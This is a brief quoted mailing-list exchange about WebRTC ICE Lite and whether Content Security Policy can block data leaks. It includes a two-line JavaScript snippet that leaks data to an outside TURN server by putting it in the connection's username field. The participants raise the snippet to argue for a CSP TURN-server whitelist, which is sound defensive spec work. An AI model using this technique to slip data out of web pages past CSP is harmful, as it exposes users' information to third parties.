> On 12 Jan 2018, at 12:06, Sergio Garcia Murillo <sergio.garcia.murillo@gmail.com> wrote:
>
> On 12/01/2018 13:01, Iñaki Baz Castillo wrote:
>> To summarize: The current issue with ICE Lite is that it's not needed
>> for the browser (ICE controlling) to provide the remote with the
>> browser *internally* and *dynamically* generated tokens (such as the
>> ice-ufrag). With my proposal above, this would change so the JS should
>> always signal its local ice-ufrag to the remote (otherwise ICE
>> responses would be discarded). And for that, the JS must send it via
>> HTTP/WebSocket, so habemus CSP rules to block them.
>>
> As I already pointed out in the issue, it is possible to leak small amounts of data just with:
>
> var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
> pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
>
> Event it could be possible to send back data via de candidate info (at a much lower rate).
>
> So using that, you could still be able to exchange ice-ufrag/pwd and establish the datachannel with full-ice.
>
That's covered in my proposal:
> add a CSP turn-servers whitelist (to prevent leakage via the credentials)
> Best regards
> Sefrgio